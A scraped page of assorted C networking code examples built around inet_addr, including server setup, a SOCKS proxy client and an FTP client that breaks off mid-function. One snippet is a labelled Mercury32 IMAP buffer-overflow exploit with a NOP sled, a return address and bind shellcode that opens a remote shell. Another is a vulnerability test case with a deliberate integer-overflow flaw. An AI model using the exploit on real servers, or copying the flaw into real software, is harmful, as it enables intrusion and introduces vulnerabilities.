    //int				nListenPort             = 0;
    int             nNatPort                = 0;
    int 			nMaxConnection          = 0;
    int             nRecvBufferSize         = 0;
    int             nSendBufferSize         = 0;
    int             nClientGM               = 0;
    int             nMaxClientPackPerFrame  = 0;
    char            szNatIP[16];
    char            szInternalIPMask[16];
    unsigned char   byInternalMacAddress[6];
    unsigned char   byExternalMacAddress[6];
    struct          in_addr  InAddr;
    
    assert(g_pSO3World);
    
    piIniFile = g_OpenIniFile(GS_SETTINGS_FILENAME);
	KGLOG_PROCESS_ERROR(piIniFile);

    memset(szNatIP, 0, sizeof(szNatIP));

    piIniFile->GetString("GS-Player", "NatIP", "", szNatIP, sizeof(szNatIP));
    piIniFile->GetInteger("GS-Player", "NatPort", 0, &nNatPort);
    piIniFile->GetString("GS-Player", "InternalIPAddressMask", "192.168.0.0", szInternalIPMask, 16);
	piIniFile->GetInteger("GS-Player", "MaxConnection", 1024, &nMaxConnection);
	piIniFile->GetInteger("GS-Player", "RecvBufferSize", 8000, &nRecvBufferSize);
	piIniFile->GetInteger("GS-Player", "SendBufferSize", 64000, &nSendBufferSize); 
    piIniFile->GetInteger("GS-Player", "PingCycle", 0, &m_nPingCycle);
    piIniFile->GetInteger("GS-Player", "ClientGM", 0, &nClientGM);
    piIniFile->GetInteger("GS-Player", "MaxClientPackPerFrame", 256, &nMaxClientPackPerFrame);

    if (m_szLocalIP[0] != '\0')
    {
         ulExternalIPAddress = (unsigned long)inet_addr(m_szLocalIP);
         if (ulExternalIPAddress == INADDR_NONE)
         {
             KGLogPrintf(KGLOG_ERR, "[KPlayerServerBase] Invalid ip address or format.\n");
             goto Exit0;
         }    
    }
    else
    {
        char* pszInternetAddr = NULL;

        ulInternalIPAddressMask = inet_addr(szInternalIPMask);
        KGLOG_PROCESS_ERROR(ulInternalIPAddressMask != INADDR_NONE);

        nRetCode = gGetMacAndIPAddress(
            byInternalMacAddress, &ulInternalIPAddress, 
            byExternalMacAddress, &ulExternalIPAddress, ulInternalIPAddressMask
        );
        KGLOG_PROCESS_ERROR(nRetCode > 0);

        InAddr.s_addr = ulExternalIPAddress;
        pszInternetAddr = inet_ntoa(InAddr);
        KGLOG_PROCESS_ERROR(pszInternetAddr);

        strcpy(m_szLocalIP, pszInternetAddr);
    }
    
    KGLOG_PROCESS_ERROR(nMaxConnection > 0);
    
    m_dwTimeNow = KG_GetTickCount();
    m_nClientGM = nClientGM;

    ResetPakStat();

	m_nMaxConnection = nMaxConnection;
    m_nMaxClientPackPerFrame = nMaxClientPackPerFrame;

	m_ConnectionDataList = new KConnectionData[nMaxConnection];
	KGLOG_PROCESS_ERROR(m_ConnectionDataList);

    m_ConnectionDataListFreeVector.reserve(nMaxConnection);

    for (int i = 0; i < nMaxConnection; i++)
    {
        m_ConnectionDataListFreeVector.push_back(nMaxConnection - i - 1);
    }

    m_nSocketEventCount = nMaxConnection + KG_MAX_ACCEPT_EACH_WAIT;

    m_pSocketEventArray = new KG_SOCKET_EVENT[m_nSocketEventCount];
    KGLOG_PROCESS_ERROR(m_pSocketEventArray);

    nRetCode = m_SocketServerAcceptor.Init(
        m_szLocalIP, m_nListenPort, KG_MAX_ACCEPT_EACH_WAIT, 
        nRecvBufferSize, nSendBufferSize, KSG_ENCODE_DECODE_NONE, NULL
    );

    KGLogPrintf(
        KGLOG_INFO, "Start service at %s:%d ... ... [%s]",
        m_szLocalIP, m_nListenPort, nRetCode ? "OK" : "Failed"
    );
    
    KGLOG_PROCESS_ERROR(nRetCode);
    bSocketServerInit = true;

	m_dwInternetAddr    = ulExternalIPAddress;
    if (szNatIP[0] != '\0')
    {
        m_nListenPort       = nNatPort;
        m_dwInternetAddr    = (unsigned long)inet_addr(szNatIP);

        KGLogPrintf(KGLOG_INFO, "NAT at %s:%d", szNatIP, nNatPort);
    }

    m_nNextCheckConnection = 0;

    bResult = true;
Exit0:
    if (!bResult)
    {
        if (bSocketServerInit)
        {
            m_SocketServerAcceptor.UnInit(NULL);
            bSocketServerInit = false;
        }
        KG_DELETE_ARRAY(m_pSocketEventArray);
    	KG_DELETE_ARRAY(m_ConnectionDataList);
    }
    KG_COM_RELEASE(piIniFile);
	return bResult;
}
Ejemplo n.º 21
0
int     SendExploit()
{
    struct hostent *he;
    struct in_addr in;
    struct sockaddr_in peer;
    int             iErr, s,s2;
    int x;
    char    buffer[9000];
    char    buffer2[9000];
    char    szRecvBuff[0x1000];
    char *ip2=NULL;

    printf( "MERCURY32 Imap exploit\n");
    printf( "By: [email protected]\n");
    printf("[+] Entering God Mode\n");

    // Login
    memset(buffer2,0x0,sizeof(buffer2));
    strcat(buffer2,"a001 LOGIN ");
    strcat(buffer2,username);
    strcat(buffer2," ");
    strcat(buffer2,password);
    strcat(buffer2,"\n");

    bzero  (buffer,sizeof(buffer));
    strcat(buffer,"a001 SELECT ");
    x = strlen(buffer);
    memset(buffer+x,0x41,260);
    x+=260;
    *(unsigned int *)&buffer[x] = 0x01f9c8fa;
    x+=4;
    memset(buffer+x,0x90,100);
    x+=100;
    memcpy (buffer+x, sc_bind, strlen(sc_bind));
    x+=strlen(sc_bind);
    memcpy(buffer+x,"\r\n",2);
    x+=2;


    if (!(he = gethostbyname(ip)))
    {
        herror("Resolving host");
        exit(EXIT_FAILURE);
    }
    in.s_addr = *((unsigned int *)he->h_addr);
    peer.sin_family = AF_INET;
    peer.sin_port = htons(iPort);
    peer.sin_addr.s_addr = inet_addr(ip);
    s = socket(AF_INET, SOCK_STREAM, 0);
    if (s < 0)
    {
        perror("socket");
        return(0);
    }
    if (connect(s, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0)

    {
        perror("connect");
        return(0);
    }
    printf("[+] connect to %s:%d success.\n", ip, iPort);
    sleep(3);

    memset(szRecvBuff, 0, sizeof(szRecvBuff));
    iErr = send(s, buffer2, strlen(buffer2),0);
    printf("[+] Sent: %d\n", iErr);

    iErr = send(s, buffer, x,0);

    printf("[+] Sent: %d\n", iErr);

    printf("[+] Wait for shell.\n");
    if (!(he = gethostbyname(ip)))
    {
        herror("Resolving host");
        exit(EXIT_FAILURE);
    }
    in.s_addr = *((unsigned int *)he->h_addr);
    ip2 = in.s_addr;

    sleep(5);
    peer.sin_family = AF_INET;
    peer.sin_port = htons(1981);
    peer.sin_addr.s_addr = ip2;
    s2 = socket(AF_INET, SOCK_STREAM, 0);
    if (s2 < 0)
    {
        perror("socket");
        exit(EXIT_FAILURE);
    }

    if (connect(s2, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0)
    {
        perror("connect");
        return(0);
    }
    printf ("[+] We got a shell \n");

    shell(s2);


    return 0;

}
void CWE190_Integer_Overflow__int_connect_socket_square_66_bad()
{
    int data;
    int dataArray[5];
    /* Initialize data */
    data = 0;
    {
#ifdef _WIN32
        WSADATA wsaData;
        int wsaDataInit = 0;
#endif
        int recvResult;
        struct sockaddr_in service;
        SOCKET connectSocket = INVALID_SOCKET;
        char inputBuffer[CHAR_ARRAY_SIZE];
        do
        {
#ifdef _WIN32
            if (WSAStartup(MAKEWORD(2,2), &wsaData) != NO_ERROR)
            {
                break;
            }
            wsaDataInit = 1;
#endif
            /* POTENTIAL FLAW: Read data using a connect socket */
            connectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
            if (connectSocket == INVALID_SOCKET)
            {
                break;
            }
            memset(&service, 0, sizeof(service));
            service.sin_family = AF_INET;
            service.sin_addr.s_addr = inet_addr(IP_ADDRESS);
            service.sin_port = htons(TCP_PORT);
            if (connect(connectSocket, (struct sockaddr*)&service, sizeof(service)) == SOCKET_ERROR)
            {
                break;
            }
            /* Abort on error or the connection was closed, make sure to recv one
             * less char than is in the recv_buf in order to append a terminator */
            recvResult = recv(connectSocket, inputBuffer, CHAR_ARRAY_SIZE - 1, 0);
            if (recvResult == SOCKET_ERROR || recvResult == 0)
            {
                break;
            }
            /* NUL-terminate the string */
            inputBuffer[recvResult] = '\0';
            /* Convert to int */
            data = atoi(inputBuffer);
        }
        while (0);
        if (connectSocket != INVALID_SOCKET)
        {
            CLOSE_SOCKET(connectSocket);
        }
#ifdef _WIN32
        if (wsaDataInit)
        {
            WSACleanup();
        }
#endif
    }
    /* put data in array */
    dataArray[2] = data;
    CWE190_Integer_Overflow__int_connect_socket_square_66b_badSink(dataArray);
}
Ejemplo n.º 23
0
/*
 BASIC SOCKET CONNECTION. SENDS/RCEIVES FROM AN IP
*/
int basicSocket()
{
	/*
	TCP/SOCK_STREAM: CONNECTION BASED - UNINTERRUPTED STREAM OF INFORMATION
	UDP/SOCK_DGRAM: NON-CONNECTION BASED - SENDING AND RECIEVING PACKETS FROM ANYONE AND EVERYONE (similiar to ICMP, ARP)
	*/
	SOCKET s;
	struct sockaddr_in server;//need IP and port number to remote connect
	char* message, server_reply[2000];
	int recv_size;

	InitSock(); //Initillises winsock

	//Create Socket
	if ((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) //socket() creates socket and returns descriptor which can be used in other network commands
	{
		printf("Could not create socket: %d\n", WSAGetLastError());
		/*
		Creates a socket of:
		Address Family: AF_INET (IPv4)
		Type: SOCK_STREAM (This means connection orientated TCP Protocol), SOCK_DGRAM indicates UDP of non-connection
		Protocol: 0 (or IPPROTO_TCP, IPPROTO_UDP)
		*/
		exit(1);
	}

	printf("Socket Created\n\n");

	//Setup connection information
	server.sin_addr.s_addr = inet_addr("216.58.208.142"); //converts IP to long format and stores inside server struct (IP is for google.com)
	server.sin_family = AF_INET; //address family
	server.sin_port = htons(80); // connect on port

	//connect to remote server
	if (connect(s, (struct sockaddr *)&server, sizeof(server)) < 0)
	{
		printf("connection error: %d", WSAGetLastError());
		getchar();
		return 1;
	}

	printf("Connected\n");

	//Send data
	message = "GET / HTTP/1.1\r\n\r\n";

	if (send(s, message, strlen(message), 0) < 0)
	{
		printf("Send Failed");
		getchar();
		exit(1);
	}

	printf("Data Sent\n");

	//Receive a reply fromm server
	if ((recv_size = recv(s, server_reply, 2000, 0)) == SOCKET_ERROR)
	{
		puts("recv failed");
	}

	printf("Reply received\n");

	//Add Termminating character to make it a proper string
	server_reply[recv_size-1] = '\0';
	printf("%s", server_reply);

	getchar(); //pause

	closesocket(s);
	WSACleanup();

	return 0;
}
Ejemplo n.º 24
0
long tcp_connect_socks_proxy(bmdnet_handler_ptr handler,char *host,long port)
{
	long status;

	if( handler == NULL ) { BMD_FOK(BMD_ERR_PARAM1);};
	if( host == NULL ) { BMD_FOK(BMD_ERR_PARAM2);};

	status=tcp_connect(handler,handler->proxy_adr,handler->proxy_port);
	if( status != BMD_OK )
	{
		PRINT_ERROR("Failed to connect with proxy at %s:%li\n",handler->proxy_adr,handler->proxy_port);
		BMD_FOK(BMD_ERR_NET_CONNECT);
	}

	if( handler->proxy_type == BMDNET_PROXY_SOCKS4 )
	{
		socks4_request_t request_header;
		char complete_request[1024];
		char *buffer=NULL;
		long response_code			= 0;
		long length				= 0;
		long request_header_size		= 0;

		memset(complete_request,0,256);
		request_header.version=4;
		request_header.command=1;
		request_header.destport=htons((u_short)port);
		request_header.destaddr=inet_addr(host);
		request_header_size=sizeof(request_header);
		memmove(complete_request,(char *)(&request_header),request_header_size);
		if(handler->proxy_user)
		{
			length=(long)strlen((char *)handler->proxy_user);
			memmove(complete_request+request_header_size,(char *)handler->proxy_user,length);
			bmdnet_send(handler, complete_request,length+request_header_size+1);
		}
		else
		{
			bmdnet_send(handler,complete_request,request_header_size+1);
		}
		buffer=(char *)malloc(10000);
		memset(buffer,0,10000);
		bmdnet_recv(handler,buffer,1024);
		if((long)buffer[0]==0)
		{
			response_code=(long)buffer[1];
			switch(response_code)
			{
				case 90:
					return 0;
				case 91:
					return -1;
				case 92:
					return -2;
				case 93:
					return -3;
			}
		}
		else
		{
			return -1;
		}
	}
	else
	if( handler->proxy_type == BMDNET_PROXY_SOCKS4A )
	{
		socks4a_request_t request_header;
		char complete_request[1024];
		char *buffer=NULL;
		long response_code			= 0;
		long length				= 0;
		long request_header_size		= 0;

		memset(complete_request,0,256);
		request_header.version=4;
		request_header.command=1;
		request_header.destport=htons((u_short)port);
		request_header.destaddr=inet_addr("0.0.0.1");
		request_header_size=sizeof(request_header);
		memmove(complete_request,(char *)(&request_header),request_header_size);
		if(handler->proxy_user)
		{
			length=(long)strlen((char *)handler->proxy_user);
			memmove(complete_request+request_header_size,(char *)handler->proxy_user,length);
			memmove(complete_request+request_header_size+length+1,host,strlen(host));
			bmdnet_send(handler, complete_request,length+request_header_size+(long)strlen(host)+2);
		}
		else
		{
			memmove(complete_request+request_header_size+1,host,strlen(host));
			bmdnet_send(handler,complete_request,request_header_size+(long)strlen(host)+2);
		}
		buffer=(char *)malloc(10000);
		memset(buffer,0,10000);
		bmdnet_recv(handler,buffer,1024);
		if((long)buffer[0]==0)
		{
			response_code=(long)buffer[1];
			switch(response_code) 
			{
				case 90:
					return 0;
				case 91:
					return -1;
				case 92:
					return -2;
				case 93:
					return -3;
			}
		}
		else
		{
			return -1;
		}
	}
	else
	if( handler->proxy_type == BMDNET_PROXY_SOCKS5 )
	{
		long i;
		long ip_flag					= 1;
		char *buffer					= NULL;
		socks5_init_request_t init_request_header;
		socks5_request_t request_header;
		char complete_request[1024];
		char initial_request[1024];
		__int32 tmp1;
		__int16 tmp2;

		/* wysylanie inicjalnego requesta z deklaracja metod */
		memset(initial_request,0,1024);init_request_header.version=0x05;init_request_header.nmethod=1;
		memmove(initial_request,(char *)(&init_request_header),sizeof(init_request_header));
		if(handler->proxy_auth_type == BMDNET_PROXY_AUTH_BASIC )
		{
			initial_request[sizeof(init_request_header)]=0x02;
		}
		BMD_FOK_CHG(bmdnet_send(handler,initial_request,sizeof(init_request_header)+1), -1);
	
		buffer=(char *)malloc(1024);
		memset(buffer,0,1024);
	
		BMD_FOK_CHG(bmdnet_recv(handler,buffer,1023),-1);
	
		if( ((unsigned char)buffer[1]) == 0xFF) /* zadna metoda autoryzacji nie jest wspierana - patrz RFC */
		{
			BMD_FOK(-1);
		}
	
		free(buffer);buffer=NULL;

		/* faza autoryzacji user/password */
		if(handler->proxy_auth_type == BMDNET_PROXY_AUTH_BASIC )
		{
			buffer=(char *)malloc(1024);
			memset(buffer,0,1024);
			buffer[0]=0x01;buffer[1]=(char)strlen((char *)handler->proxy_user);
			memmove(buffer+2,handler->proxy_user,strlen(handler->proxy_user));
			buffer[2+strlen(handler->proxy_user)]=(char)strlen((char *)handler->proxy_pass);
			memmove(buffer+3+strlen((char *)handler->proxy_user),(char *)handler->proxy_pass,
				strlen((char *)handler->proxy_pass));
			BMD_FOK_CHG(bmdnet_send(handler,buffer,(long)strlen(buffer)),-1);

			memset(buffer,0,1024);
			BMD_FOK_CHG(bmdnet_recv(handler,buffer,1023),-1);
	
			if(buffer[1]!=0x00)
			{
				BMD_FOK(-1);
			}
		}
		memset(complete_request,0,256);
		request_header.ver=0x05;request_header.cmd=1;request_header.rsv=0x00;
		for(i=0;i<(long)strlen(host);i++)
		{
			if(isalpha(host[i])) /* jesli wystapi jakas litera uznaje ze to adres domenowy */
			{
				ip_flag=0;
				break;
			}
		}
		if(ip_flag==1)
		{
			request_header.atyp=0x01; /* to jest IP */
		}
		else
		{
			request_header.atyp=0x03; /* to jest domena */
		}
		memmove(complete_request,(char *)(&request_header),sizeof(request_header));
		if(ip_flag==1)
		{
			tmp1=inet_addr(host);
		}
		tmp2=htons((u_short)port);
		if(ip_flag==1)
		{
			memmove(complete_request+sizeof(request_header),&tmp1,4);
			memmove(complete_request+sizeof(request_header)+4,&tmp2,2);
			status=bmdnet_send(handler,complete_request,sizeof(request_header)+6);
			if( status < 0 )
			{
				return -1;
			}
		}
		else
		{
			char *tmp=NULL;
			tmp=(char *)malloc(strlen(host)+3);
			tmp[0]=(char)strlen(host);
			memmove(tmp+1,host,strlen(host));
			memmove(complete_request+sizeof(request_header),tmp,strlen(host)+1);
			memmove(complete_request+sizeof(request_header)+strlen(host)+1,&tmp2,2);
			BMD_FOK_CHG(bmdnet_send(handler,complete_request,sizeof(request_header)+ 
			(long)strlen(host)+3),-1);
			free(tmp);tmp=NULL;
		}
		buffer=(char *)malloc(1024);
		memset(buffer,0,1024);
		BMD_FOK_CHG(bmdnet_recv(handler,buffer,1023),-1);
	
		if(buffer[1]==0x00) /* OK*/
			return 0;
		/* jakis blad - nie interesuje nas jaki */
		return -1;
	}
	else
	{
		PRINT_ERROR("Unsupported proxy_type\n");
		BMD_FOK(BMD_ERR_UNIMPLEMENTED);
	}

	return BMD_OK;
}
Ejemplo n.º 25
0
Archivo: pipe.c Proyecto: ATCP/mtcp
static apr_status_t create_socket_pipe(SOCKET *rd, SOCKET *wr)
{
    static int id = 0;
    FD_SET rs;
    SOCKET ls;
    struct timeval socktm;
    struct sockaddr_in pa;
    struct sockaddr_in la;
    struct sockaddr_in ca;
    int nrd;
    apr_status_t rv = APR_SUCCESS;
    int ll = sizeof(la);
    int lc = sizeof(ca);
    unsigned long bm = 1;
    int uid[2];
    int iid[2];

    *rd = INVALID_SOCKET;
    *wr = INVALID_SOCKET;

    /* Create the unique socket identifier
     * so that we know the connection originated
     * from us.
     */
    uid[0] = getpid();
    uid[1] = id++;
    if ((ls = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) {
        return apr_get_netos_error();
    }

    pa.sin_family = AF_INET;
    pa.sin_port   = 0;
    pa.sin_addr.s_addr = inet_addr("127.0.0.1");

    if (bind(ls, (SOCKADDR *)&pa, sizeof(pa)) == SOCKET_ERROR) {
        rv =  apr_get_netos_error();
        goto cleanup;
    }
    if (getsockname(ls, (SOCKADDR *)&la, &ll) == SOCKET_ERROR) {
        rv =  apr_get_netos_error();
        goto cleanup;
    }
    if (listen(ls, 1) == SOCKET_ERROR) {
        rv =  apr_get_netos_error();
        goto cleanup;
    }
    if ((*wr = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) {
        rv = apr_get_netos_error();
        goto cleanup;
    }
    if (connect(*wr, (SOCKADDR *)&la, sizeof(la)) == SOCKET_ERROR) {
        rv =  apr_get_netos_error();
        goto cleanup;
    }
    if (send(*wr, (char *)uid, sizeof(uid), 0) != sizeof(uid)) {
        if ((rv =  apr_get_netos_error()) == 0) {
            rv = APR_EINVAL;
        }
        goto cleanup;
    }
    if (ioctlsocket(ls, FIONBIO, &bm) == SOCKET_ERROR) {
        rv = apr_get_netos_error();
        goto cleanup;
    }
    for (;;) {
        int ns;
        int nc = 0;
        /* Listening socket is nonblocking by now.
         * The accept should create the socket
         * immediatelly because we are connected already.
         * However on buys systems this can take a while
         * until winsock gets a chance to handle the events.
         */
        FD_ZERO(&rs);
        FD_SET(ls, &rs);

        socktm.tv_sec  = 1;
        socktm.tv_usec = 0;
        if ((ns = select(0, &rs, NULL, NULL, &socktm)) == SOCKET_ERROR) {
            /* Accept still not signaled */
            Sleep(100);
            continue;
        }
        if (ns == 0) {
            /* No connections in the last second */
            continue;
        }
        if ((*rd = accept(ls, (SOCKADDR *)&ca, &lc)) == INVALID_SOCKET) {
            rv =  apr_get_netos_error();
            goto cleanup;
        }
        /* Verify the connection by reading the send identification.
         */
        do {
            if (nc++)
                Sleep(1);
            nrd = recv(*rd, (char *)iid, sizeof(iid), 0);
            rv = nrd == SOCKET_ERROR ? apr_get_netos_error() : APR_SUCCESS;
        } while (APR_STATUS_IS_EAGAIN(rv));

        if (nrd == sizeof(iid)) {
            if (memcmp(uid, iid, sizeof(uid)) == 0) {
                /* Wow, we recived what we send.
                 * Put read side of the pipe to the blocking
                 * mode and return.
                 */
                bm = 0;
                if (ioctlsocket(*rd, FIONBIO, &bm) == SOCKET_ERROR) {
                    rv = apr_get_netos_error();
                    goto cleanup;
                }
                break;
            }
        }
        else if (nrd == SOCKET_ERROR) {
            goto cleanup;
        }
        closesocket(*rd);
    }
    /* We don't need the listening socket any more */
    closesocket(ls);
    return 0;

cleanup:
    /* Don't leak resources */
    if (*rd != INVALID_SOCKET)
        closesocket(*rd);
    if (*wr != INVALID_SOCKET)
        closesocket(*wr);

    *rd = INVALID_SOCKET;
    *wr = INVALID_SOCKET;
    closesocket(ls);
    return rv;
}
Ejemplo n.º 26
0
//获得ip所属地理信息,isp
int getipinfo(char *ipstr,localtmp *p_loc)
{
    if (p_share == NULL){
        perror("openshare...");
        return -1;
    }

    char *pos = p_share;
    int record_len=10;
    char *firstip=0;
    //把ip转为整数
    unsigned int ip=htonl(inet_addr(ipstr));
    firstip=p_begin; // first record position

    int l=0;
    int u=total_record;
    int i=0;
    char* findip=firstip;
    unsigned int beginip=0;
    unsigned int endip=0;
    //二分法查找
    while(l <= u)
    {
        i=(l+u)/2;
        pos=firstip+i*RECORD_LEN;
        beginip = getlong4(pos);
        pos+=4;
        if(ip<beginip)
        {
            u=i-1;    
        }
        else
        {
            endip=getlong4(p_share+getlong3(pos));
            if(ip>endip)
            {
                l=i+1;        
            }
            else
            {
                findip=firstip+i*RECORD_LEN;
                break;    
            }
        }
    }
    int offset = getlong3(findip+4);
    pos=p_share+offset;
    endip= getlong4(pos); // 用户IP所在范围的结束地址
    pos+=4;

    unsigned int j=ntohl(beginip);
    inet_ntop(AF_INET,&j,p_loc->beginip, INET6_ADDRSTRLEN);// 获得开始地址的IP字符串类型
    j=ntohl(endip);
    inet_ntop(AF_INET,&j,p_loc->endip, INET6_ADDRSTRLEN);// 获得结束地址的IP字符串类型

    char *byte = pos; // 标志字节
    pos++;
    switch (*byte) {
        case 1:{ // 标志字节为1,表示国家和区域信息都被同时重定向
                   int countryOffset = getlong3(pos); // 重定向地址
                   pos+=3;
                   pos=p_share+countryOffset;
                   byte = pos; // 标志字节
                   pos++;
                   switch (*byte) {
                       case 2: // 标志字节为2,表示国家信息又被重定向
                           {
                               p_loc->p_country=p_share+getlong3(pos);
                               pos=p_share+countryOffset+4;
                               p_loc->p_area = getarea(pos);
                           }
                           break;
                       default: // 否则,表示国家信息没有被重定向
                           {
                               p_loc->p_country=byte;
                               p_loc->p_area = getarea(p_loc->p_country+strlen(p_loc->p_country)+1);
                           }
                           break;
                   }
               }
               break;
        case 2: // 标志字节为2,表示国家信息被重定向
               {
                   p_loc->p_country=p_share+getlong3(pos);// 重定向地址
                   pos = p_share + offset + 8;
                   p_loc->p_area = getarea(pos);
               }
               break;
        default:{ // 否则,表示国家信息没有被重定向
                    p_loc->p_country=byte;
                    p_loc->p_area=getarea(p_loc->p_country+strlen(p_loc->p_country)+1);
                }
                break;
    }

    //printf("%s  %s\n", p_loc->p_country, p_loc->p_area);
    return 0;
}
Ejemplo n.º 27
0
main(int argc, char *argv[])
{
 int sockfd, newsockfd, clilen, childpid;
 struct sockaddr_in cli_addr, serv_addr;
 int fd, orbfd;
 time_t cur_time;
 int PORT;
 int con, c;
 in_addr_t lna;
 int val, lcv, lcv2, lcv3=0, high_fd;
 struct timeval timeout;
 char buffer[10002];
 fd_set read_fds, except_fds;

 for (lcv=0;lcv<NUM_CLIENTS;lcv++)
   local_data.connected[lcv]=local_data.ipaddr[lcv]=local_data.used[lcv]=0;

  strt.msgID = 2;
  strt.msgSize = 8;

 if (argc != 3) {
   fprintf(stderr, "usage: %s port sourcename\n", argv[0]);
   exit(1);
 }

 PORT=atoi(argv[1]);

 printf("source name: %s\nport: %d\n",argv[2],PORT);

 *((short int *)buffer)=htons(100);

 if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
   {
     perror("revelle_data: can't open stream socket");
     exit(-1);
   }

 bzero((char *) &serv_addr, sizeof(serv_addr));

 if (-1 != (lna=inet_addr("198.202.124.8")))
   memcpy(&(serv_addr.sin_addr), &lna, 
	  min(sizeof(serv_addr.sin_addr), sizeof(lna)));
 else
   {
     perror("host lookup failed");
     exit(-1);
   }

 serv_addr.sin_family      = AF_INET;
 serv_addr.sin_port        = htons(PORT);

 if (connect(sockfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr))<0)
   {
     perror("connect failed!");
     exit(-1);
   }

 while(1)
   {
     FD_ZERO(&read_fds);
     FD_SET(sockfd,&read_fds);
     high_fd=sockfd+1;

     timeout.tv_sec=10;
     timeout.tv_usec=0;
     lcv=select(high_fd,&read_fds,0,0,&timeout);
     if (lcv<0)
       {
	 perror("select");
	 exit(-1);
       }
     else if (FD_ISSET(sockfd,&read_fds))
       {
	
	 if (read(sockfd,buffer,2)<=0)
	   {
	     perror("read");
	     exit(-1);
	   }
	
	 printf(" * %d\n",*((short int*)buffer));
       }
     else
       {
	 pkt.msgID=htons(1);
	 pkt.msgSize=htons(58);
	 pkt.seq_num=htonl(lcv3++);
	 pkt.timestamp=time(NULL);
	 pkt.num_chan=htons(2);
	 pkt.num_samp=htons(2);
	 pkt.samp_rate=1.0;
	 strncpy(pkt.sta_name,"PFO",5);
	 strncpy(pkt.net_name,"SM",2);
	 pkt.pad=0;

	 strncpy(buffer,"dus",3); /* channel */
	 strncpy(buffer+3,"N",2); /* location code */
	 *(buffer+4)=0; /* pad */
	 strncpy(buffer+6,"lon",3); /* channel */
	 strncpy(buffer+9,"S",2); /* location code */
	 *(buffer+11)=0; /* pad */
	 *((short int*)(buffer+12))=htons(1000);
	 *((short int*)(buffer+14))=htons(-1000);
	 *((short int*)(buffer+16))=htons(3);
	 *((short int*)(buffer+18))=htons(4);

	 /*pkt.chksum=htons(0);*/ /* use this to send invalid pkts */
	 pkt.chksum=htons(sumit((char*)&pkt,36,buffer,20));
	 printf("sent data checksum=%d, size of header=%d\n",ntohs(pkt.chksum),sizeof(pkt));


	 if (write(sockfd,&pkt,38)!=38)
	   {
	     printf("write issue!\n");
	   }
	 if (write(sockfd,buffer,20)!=20)
	   {
	     printf("write issue!2\n");
	   }
       }
   }
}
Ejemplo n.º 28
0
Archivo: ftp.c Proyecto: maplefish/MICO
// ======= FTP thread handler =========
static void _thread_ftp(void*inContext)
{
  (void)inContext;

  fd_set readset, wrset;
  struct timeval_t t_val;
  int k;
  uint32_t timeout = 0;
  uint8_t recv_tmo = 0;

  t_val.tv_sec = 0;
  t_val.tv_usec = 5000;

  timeout = mico_get_time();
  ftp_log("\r\n[FTP trd] FTP THREAD STARTED\r\n");
  
  // *** First we have to get IP address and connect the cmd socket
  char pIPstr[16]={0};
  int err;
  k = 3;
  do {
    err = gethostbyname((char *)pDomain4Dns, (uint8_t *)pIPstr, 16);
    if (err != kNoErr) {
      k--;
      mico_thread_msleep(50);
    }
  }while ((err != kNoErr) && (k > 0));
  
  if ((err == kNoErr) && (ftpCmdSocket != NULL)) {
    ftpCmdSocket->addr.s_ip = inet_addr(pIPstr);
    ftpCmdSocket->clientFlag = NO_ACTION;

    free(pDomain4Dns);
    pDomain4Dns=NULL;

    // Connect socket!
    char ip[17];
    memset(ip, 0x00, 17);
    inet_ntoa(ip, ftpCmdSocket->addr.s_ip);
    ftp_log("[FTP cmd] Got IP: %s, connecting...\r\n", ip);

    struct sockaddr_t *paddr = &(ftpCmdSocket->addr);
    int slen = sizeof(ftpCmdSocket->addr);
    // _micoNotify will be called if connected
    connect(ftpCmdSocket->socket, paddr, slen);
  }
  else {
    ftp_log("[FTP dns] Get IP error\r\n");
    goto terminate;
  }

  if (recvBuf == NULL) {
    recvBuf = malloc(MAX_RECV_LEN+4);
    memset(recvBuf, 0, MAX_RECV_LEN+4);
  }
  recvLen = 0;

  // ===========================================================================
  // Main Thread loop
  while (1) {
    mico_thread_msleep(5);
        
    if (ftpCmdSocket == NULL) goto terminate;

    if ( ((mico_get_time() - timeout) > MAX_FTP_TIMEOUT) ||
         (((mico_get_time() - timeout) > 8000) && (!(status & FTP_LOGGED))) ) {
      // ** TIMEOUT **
      ftp_log("[FTP trd] Timeout\r\n");
      timeout = mico_get_time();
      
      if ((status & FTP_LOGGED))
        ftpCmdSocket->clientFlag = REQ_ACTION_QUIT;
      else
        ftpCmdSocket->clientFlag = REQ_ACTION_DISCONNECT;
    }

    // ========== stage #1, Check cmd socket action requests ===================
    
    //REQ_ACTION_DISCONNECT
    if (ftpCmdSocket->clientFlag == REQ_ACTION_DISCONNECT) {
      ftpCmdSocket->clientFlag = NO_ACTION;
      
      closeDataSocket();
      
      ftp_log("[FTP cmd] Socket disconnected\r\n");
      if (ftpCmdSocket->disconnect_cb != LUA_NOREF) {
        queue_msg_t msg;
        msg.L = gL;
        msg.source = onFTP;
        msg.para1 = 0;
        msg.para2 = ftpCmdSocket->disconnect_cb;
        mico_rtos_push_to_queue( &os_queue, &msg, 0);
      }
      closeCmdSocket(0);
      continue;
    }
    //REQ_ACTION_QUIT
    if (ftpCmdSocket->clientFlag == REQ_ACTION_QUIT) {
      if ((status & FTP_LOGGED)) {
        ftpCmdSocket->clientFlag = NO_ACTION;
        ftp_log("[FTP cmd] Quit command\r\n");
        if (_send("QUIT\r\n", 6) <= 0) {
          ftpCmdSocket->clientFlag = REQ_ACTION_DISCONNECT;
        }
      }
      else ftpCmdSocket->clientFlag = REQ_ACTION_DISCONNECT;
      continue;
    }

    if (!(status & FTP_CONNECTED)) continue;
    //--------------------------------------

    //REQ_ACTION_LIST, REQ_ACTION_RECV, REQ_ACTION_SEND
    else if ((ftpCmdSocket->clientFlag == REQ_ACTION_LIST) ||
             (ftpCmdSocket->clientFlag == REQ_ACTION_RECV) ||
             (ftpCmdSocket->clientFlag == REQ_ACTION_SEND)) {
      ftpCmdSocket->clientLastFlag = ftpCmdSocket->clientFlag;
      ftpCmdSocket->clientFlag = NO_ACTION;

      _send("PASV\r\n", 6);
    }
    //REQ_ACTION_DOLIST
    else if (ftpCmdSocket->clientFlag == REQ_ACTION_DOLIST) {
      ftpCmdSocket->clientFlag = NO_ACTION;

      int res;
      if (ftpfile != NULL) {
        char tmps[100];
